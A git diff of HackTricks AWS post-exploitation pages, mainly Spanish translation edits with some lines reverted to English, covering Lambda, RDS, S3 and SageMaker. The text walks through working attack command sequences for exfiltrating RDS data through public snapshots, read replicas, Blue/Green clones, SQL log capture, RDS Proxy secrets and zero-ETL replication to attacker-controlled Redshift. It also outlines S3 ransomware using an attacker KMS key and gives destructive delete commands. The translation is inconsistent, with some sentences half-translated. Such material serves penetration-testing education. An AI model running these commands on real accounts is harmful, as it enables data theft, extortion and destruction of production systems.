desde el nuevo log group. +Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Convierte una Lambda Function URL privada en un endpoint público no autenticado cambiando el Function URL AuthType a NONE y adjuntando una resource-based policy que otorgue lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend. +Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abusa de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original. +Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abusa de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego despliega código trivial que liste/lea archivos desde la ruta montada para exfiltrar secrets/config compartidos a los que la función previamente no podía acceder. +Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 56e947684..5c60a40a9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -4,7 +4,7 @@ ## RDS -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Para más información consulta: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Si el atacante tiene suficientes permisos, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente desde ese snapshot. +Si el atacante tiene permisos suficientes, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente desde ese snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -39,9 +39,9 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` ### `rds:StopDBCluster` & `rds:StopDBInstance` -Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia RDS o de un clúster completo, causando indisponibilidad de la base de datos, conexiones interrumpidas e interrupción de procesos que dependen de la base de datos. +Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia de RDS o de un clúster entero, provocando la indisponibilidad de la base de datos, conexiones interrumpidas y la interrupción de procesos que dependen de la base de datos. -Para detener una sola instancia DB (ejemplo): +Para detener una sola DB instance (ejemplo): ```bash aws rds stop-db-instance \ --db-instance-identifier @@ -53,7 +53,7 @@ aws rds stop-db-cluster \ ``` ### `rds:Delete*` -Un atacante a quien se le otorgue `rds:Delete*` puede eliminar recursos de RDS, borrando instancias de DB, clústeres, instantáneas, copias de seguridad automatizadas, grupos de subred, grupos de parámetros/opciones y artefactos relacionados, causando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense. +Un atacante al que se le conceda `rds:Delete*` puede eliminar recursos de RDS, borrando instancias de DB, clústeres, instantáneas, copias de seguridad automatizadas, grupos de subredes, grupos de parámetros/opciones y artefactos relacionados, provocando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense. ```bash # Delete a DB instance (creates a final snapshot unless you skip it) aws rds delete-db-instance \ @@ -76,9 +76,9 @@ aws rds delete-db-cluster \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot. +Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **disponible** **públicamente**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot. -Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otros** snapshots creados sean **públicos**. +Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer **públicos** otros snapshots creados. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -89,15 +89,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de log de una instancia RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría utilizar esta información para escalar privilegios o realizar acciones no autorizadas. +Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría usar esta información para escalar sus privilegios o realizar acciones no autorizadas. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impacto potencial**: Acceso a información sensible o acciones no autorizadas mediante leaked credentials. +**Impacto potencial**: Acceso a información sensible o acciones no autorizadas usando leaked credentials. ### `rds:DeleteDBInstance` -Un atacante con estos permisos puede **DoS instancias RDS existentes**. +Un atacante con estos permisos puede **hacer DoS a instancias RDS existentes**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot @@ -109,23 +109,23 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final > [!NOTE] > TODO: Probar -Un attacker con este permiso puede **exportar un snapshot de instancia RDS a un S3 bucket**. Si el attacker controla el S3 bucket de destino, podría acceder potencialmente a datos sensibles dentro del snapshot exportado. +Un atacante con este permiso puede **exportar un snapshot de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, potencialmente puede acceder a datos sensibles dentro del snapshot exportado. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impacto potencial**: Acceso a datos sensibles en el snapshot exportado. -### Replicación de copias de seguridad automatizadas entre Regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replicación entre regiones de backups automáticos para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`) -Abusar de la replicación de copias de seguridad automatizadas entre Regiones para duplicar silenciosamente las copias de seguridad automatizadas de una instancia RDS en otra Región de AWS y restaurarlas allí. El atacante puede entonces hacer que la BD restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorizar. +Abusar de la replicación entre regiones de backups automáticos para duplicar silenciosamente los backups automáticos de una instancia RDS en otra Región de AWS y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea públicamente accesible y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorear. -Permisos necesarios (mínimos): -- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region -- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region -- `rds:RestoreDBInstanceToPointInTime` in the destination Region -- `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) +Permisos necesarios (mínimo): +- `rds:StartDBInstanceAutomatedBackupsReplication` en la Región de destino +- `rds:DescribeDBInstanceAutomatedBackups` en la Región de destino +- `rds:RestoreDBInstanceToPointInTime` en la Región de destino +- `rds:ModifyDBInstance` en la Región de destino +- `rds:StopDBInstanceAutomatedBackupsReplication` (limpieza opcional) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para exponer la DB restaurada) Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante. @@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \ -### Habilitar logging completo de SQL mediante grupos de parámetros de DB y exfiltrar a través de RDS log APIs +### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrar vía RDS log APIs -Abusar de `rds:ModifyDBParameterGroup` junto con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilitar el SQL logging del engine y descargar los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar consultas que puedan contener secretos/PII/JWTs. +Abusar de `rds:ModifyDBParameterGroup` con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilitar el engine SQL logging y extraer los archivos de log mediante `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs. Permisos necesarios (mínimo): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (solo para adjuntar un grupo de parámetros personalizado si la instancia está usando el predeterminado) -- `rds:RebootDBInstance` (para parámetros que requieren reinicio, p. ej., PostgreSQL) +- `rds:ModifyDBInstance` (solo para adjuntar un parameter group personalizado si la instancia está usando el por defecto) +- `rds:RebootDBInstance` (para parámetros que requieren reboot, p. ej., PostgreSQL) Pasos -1) Recon el objetivo y el grupo de parámetros actual +1) Recon del target y del parameter group actual ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Asegúrate de que se adjunte un grupo de parámetros de DB personalizado (no se puede editar el predeterminado) -- Si la instancia ya usa un grupo personalizado, reutiliza su nombre en el siguiente paso. -- De lo contrario, crea y adjunta uno que coincida con la familia del motor: +2) Asegúrate de que esté adjunto un DB parameter group personalizado (no se puede editar el predeterminado) +- Si la instancia ya utiliza un grupo personalizado, reutiliza su nombre en el siguiente paso. +- En caso contrario, crea y adjunta uno que coincida con la familia del engine: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -232,7 +232,7 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Habilitar registro SQL detallado +3) Habilitar el registro SQL detallado - MySQL engines (inmediato / sin reinicio): ```bash aws rds modify-db-parameter-group \ @@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- Motores PostgreSQL (requiere reinicio): +- PostgreSQL engines (requiere reinicio): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Deja que la carga de trabajo se ejecute (o genera queries). Las sentencias se escribirán en los engine file logs +4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los logs de archivos del engine - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Descubre y descarga logs (no DB creds required) +5) Descubre y descarga los logs (no DB creds required) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -271,7 +271,7 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) Analizar offline en busca de datos sensibles +6) Analizar fuera de línea en busca de datos sensibles ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` @@ -297,11 +297,11 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Impacto: Post-exploitation acceso a datos al capturar todas las sentencias SQL de la aplicación vía AWS APIs (no DB creds), potencialmente leaking secretos, JWTs y PII. +Impacto: Post-exploitation acceso a datos capturando todas las sentencias SQL de la aplicación a través de AWS APIs (no DB creds), potencialmente leaking secrets, JWTs y PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Abusar de RDS read replicas para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, resetear la master password de la replica (esto no cambia la primaria) y, opcionalmente, exponer la replica públicamente para exfiltrate datos. +Abusar de RDS read replicas para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la instancia primaria), y opcionalmente exponer la réplica públicamente para exfiltrar datos. Permisos necesarios (mínimo): - `rds:DescribeDBInstances` @@ -309,7 +309,7 @@ Permisos necesarios (mínimo): - `rds:ModifyDBInstance` - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si se expone públicamente) -Impacto: Acceso de solo lectura a datos de producción vía una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la instancia primaria permanece intacta y la replicación continúa. +Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la instancia primaria permanece intacta y la replicación continúa. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -340,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # Optional: promote for persistence # aws rds promote-read-replica --db-instance-identifier ``` -Ejemplo de evidencia (MySQL): -- Estado de la réplica DB: `available`, replicación de lectura: `replicating` +Evidencia de ejemplo (MySQL): +- Estado de la DB de réplica: `available`, replicación de lectura: `replicating` - Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de solo lectura a la réplica. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Abusar de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablecer las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y con frecuencia evade la monitorización centrada solo en la fuente. +Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablece las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que compartir snapshots y a menudo evade la monitorización centrada únicamente en la fuente. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -393,19 +393,19 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impacto: Acceso completo a los datos en modo solo lectura a un clon casi en tiempo real de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis fuera de línea. +Impacto: Acceso total de solo lectura a una copia casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis offline. ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Abusar de Aurora para habilitar el endpoint HTTP del RDS Data API en un cluster objetivo, restablecer la contraseña master a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan Data API/EnableHttpEndpoint (p. ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL). +Abusa de Aurora para habilitar el endpoint HTTP del RDS Data API en un clúster objetivo, restablecer la contraseña maestra a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL). Permisos (mínimos): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Impacto: Eludir la segmentación de red y exfiltrar datos vía las AWS APIs sin conectividad VPC directa a la DB. +Impacto: Bypass network segmentation and exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
CLI de extremo a extremo (ejemplo Aurora MySQL) @@ -461,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Notas: -- Si rds-data rechaza SQL con múltiples sentencias, emitir llamadas execute-statement separadas. -- Para motores donde modify-db-cluster --enable-http-endpoint no tiene efecto, usar rds enable-http-endpoint --resource-arn. -- Asegúrate de que el engine/version realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False. +- Si SQL con múltiples sentencias es rechazado por rds-data, ejecuta llamadas separadas a execute-statement. +- Para motores donde modify-db-cluster --enable-http-endpoint no tiene efecto, usa rds enable-http-endpoint --resource-arn. +- Asegúrate de que el motor/versión realmente soporte el Data API; de lo contrario HttpEndpointEnabled permanecerá en False. ### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Abusar de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego leer el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden permisos amplios `secretsmanager:GetSecretValue`, lo que convierte esto en un pivot de baja fricción hacia las credenciales DB. Si el secreto usa una CMK, permisos KMS mal configurados también pueden permitir `kms:Decrypt`. +Abusa de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, luego lee el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden permisos amplios `secretsmanager:GetSecretValue`, lo que hace de esto un pivot de baja fricción hacia las credenciales de DB. Si el secreto usa una CMK, permisos KMS mal acotados también pueden permitir `kms:Decrypt`. Permisos necesarios (mínimo): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` en el SecretArn referenciado -- Opcional cuando el secreto usa una CMK: `kms:Decrypt` en esa clave +- `secretsmanager:GetSecretValue` on the referenced SecretArn +- Optional when the secret uses a CMK: `kms:Decrypt` on that key -Impacto: Divulgación inmediata del nombre de usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional. +Impacto: Divulgación inmediata del nombre de usuario/contraseña de DB configurados en el proxy; permite acceso directo a la DB o movimientos laterales adicionales. Pasos ```bash @@ -518,13 +518,13 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet ``` ### Exfiltración continua sigilosa vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration) -Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar de manera continua datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red. +Abusar de la integración zero‑ETL de Aurora PostgreSQL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controlas. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin credenciales de DB, snapshots ni exposición de red. -Permisos necesarios (mínimos): +Permisos necesarios (mínimo): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar) -- `rds-data:ExecuteStatement` (opcional; para pre-cargar datos si fuera necesario) +- `rds-data:ExecuteStatement` (opcional; para sembrar datos si es necesario) Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. @@ -576,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Crear un clúster de Aurora PostgreSQL (habilitar Data API y replicación lógica) +3) Crear clúster Aurora PostgreSQL (habilitar Data API y replicación lógica) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -634,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d Evidencia observada en la prueba: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. -- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob). +- SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y el estado PendingDbConnectState antes de la creación de la DB. +- Después de CREATE DATABASE FROM INTEGRATION, listar las tablas reveló el esquema ztl y la tabla customers; al seleccionar desde ztl.customers se devolvieron 2 filas (Alice, Bob). -Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad, ni acceso de red al clúster de origen. +Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlada por el atacante, sin usar credenciales de base de datos, backups, ni acceso de red al cluster origen. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index e98d9a5f4..385f874b4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,7 +4,7 @@ ## S3 -Para más información consulta: +For more information check: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md @@ -16,26 +16,26 @@ A veces podrás encontrar información sensible legible en los buckets. Por ejem ### Pivoting -Diferentes plataformas podrían usar S3 para almacenar activos sensibles.\ -Por ejemplo, **airflow** podría almacenar **DAGs** **code** allí, o **web pages** podrían servirse directamente desde S3. Un atacante con write permissions podría **modify the code** del bucket para **pivot** a otras plataformas, o **takeover accounts** modificando archivos JS. +Diferentes plataformas podrían estar usando S3 para almacenar activos sensibles. +Por ejemplo, **airflow** podría estar almacenando **DAGs** **code** allí, o **páginas web** podrían servirse directamente desde S3. Un attacker con permisos de escritura podría **modify the code** desde el bucket para **pivot** hacia otras plataformas, o **takeover accounts** modificando archivos JS. ### S3 Ransomware -En este escenario, el **attacker creates a KMS (Key Management Service) key in their own AWS account** o en otra cuenta comprometida. Luego hace que esta **key sea accesible para cualquiera en el mundo**, permitiendo a cualquier AWS user, role, o account cifrar objetos usando esta key. Sin embargo, los objetos no podrán ser descifrados. +En este escenario, el **attacker crea una KMS (Key Management Service) key en su propia cuenta AWS** o en otra cuenta comprometida. Luego hace que esta **key sea accesible para cualquiera en el mundo**, permitiendo a cualquier AWS user, role, o account cifrar objetos usando esta key. Sin embargo, los objetos no pueden ser descifrados. -El atacante identifica un objetivo, un **S3 bucket**, y obtiene acceso de escritura a él usando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno AWS mismo. Normalmente el atacante apunta a buckets que contienen información sensible como información de identificación personal (PII), protected health information (PHI), logs, backups, y más. +El attacker identifica un objetivo **S3 bucket and gains write-level access** mediante varios métodos. Esto puede deberse a una mala configuración del bucket que lo expone públicamente o a que el attacker obtiene acceso al propio entorno de AWS. Normalmente el attacker apunta a buckets que contienen información sensible como personally identifiable information (PII), protected health information (PHI), logs, backups, y más. -Para determinar si el bucket puede ser objetivo de ransomware, el atacante revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está activado. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está desactivado, el atacante puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico. +Para determinar si el bucket puede ser objetivo de ransomware, el attacker revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está habilitado. Si Object Versioning no está habilitado, el attacker puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el attacker puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el attacker to ransomware that specific bucket. -Usando la AWS API, el atacante **replaces each object in the bucket with an encrypted copy using their KMS key**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la key. +Usando la AWS API, el attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave. -Para aumentar la presión, el atacante programa la eliminación de la KMS key usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la key sea eliminada y los datos se pierdan de forma permanente. +Para aumentar la presión, el attacker programa la eliminación de la clave KMS usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan de forma permanente. -Finalmente, el atacante podría subir un archivo final, usualmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber sobre el ataque de ransomware. +Finalmente, el attacker podría subir un archivo final, usualmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber del ataque de ransomware. ### `s3:RestoreObject` -An attacker with the s3:RestoreObject permission puede reactivar objetos archivados en Glacier o Deep Archive, haciéndolos temporalmente accesibles. Esto permite la recuperación y exfiltración de datos históricamente archivados (backups, snapshots, logs, certifications, old secrets) que normalmente estarían fuera de alcance. Si el atacante combina este permiso con permisos de lectura (por ejemplo, s3:GetObject), puede obtener copias completas de datos sensibles. +Un attacker con el permiso s3:RestoreObject puede reactivar objetos archivados en Glacier o Deep Archive, haciéndolos temporalmente accesibles. Esto permite la recuperación y exfiltración de datos históricamente archivados (backups, snapshots, logs, certifications, old secrets) que normalmente estarían fuera de alcance. Si el attacker combina este permiso con permisos de lectura (p. ej., s3:GetObject), puede obtener copias completas de datos sensibles. ```bash aws s3api restore-object \ --bucket \ @@ -47,7 +47,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -Un atacante con el permiso s3:Delete* puede eliminar objetos, versiones y buckets enteros, interrumpir copias de seguridad y causar pérdida de datos inmediata e irreversible, destrucción de evidencias y comprometer artefactos de copia de seguridad o recuperación. +Un atacante con el permiso s3:Delete* puede eliminar objetos, versiones y buckets completos, interrumpir copias de seguridad y provocar pérdida de datos inmediata e irreversible, la destrucción de pruebas y el compromiso de artefactos de copia de seguridad o recuperación. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -64,6 +64,6 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**Para más información** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index 9b2841f5a..4d7aba132 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Desvío de datos de endpoint de SageMaker vía UpdateEndpoint DataCaptureConfig +## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig -Abusa de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model o container. Usa una zero/low‑downtime rolling update y solo requiere permisos de gestión del endpoint. +Abusar de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model ni el container. Usa una rolling update de cero/bajo tiempo de inactividad y solo requiere permisos de gestión del endpoint. -### Requisitos +### Requirements - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, 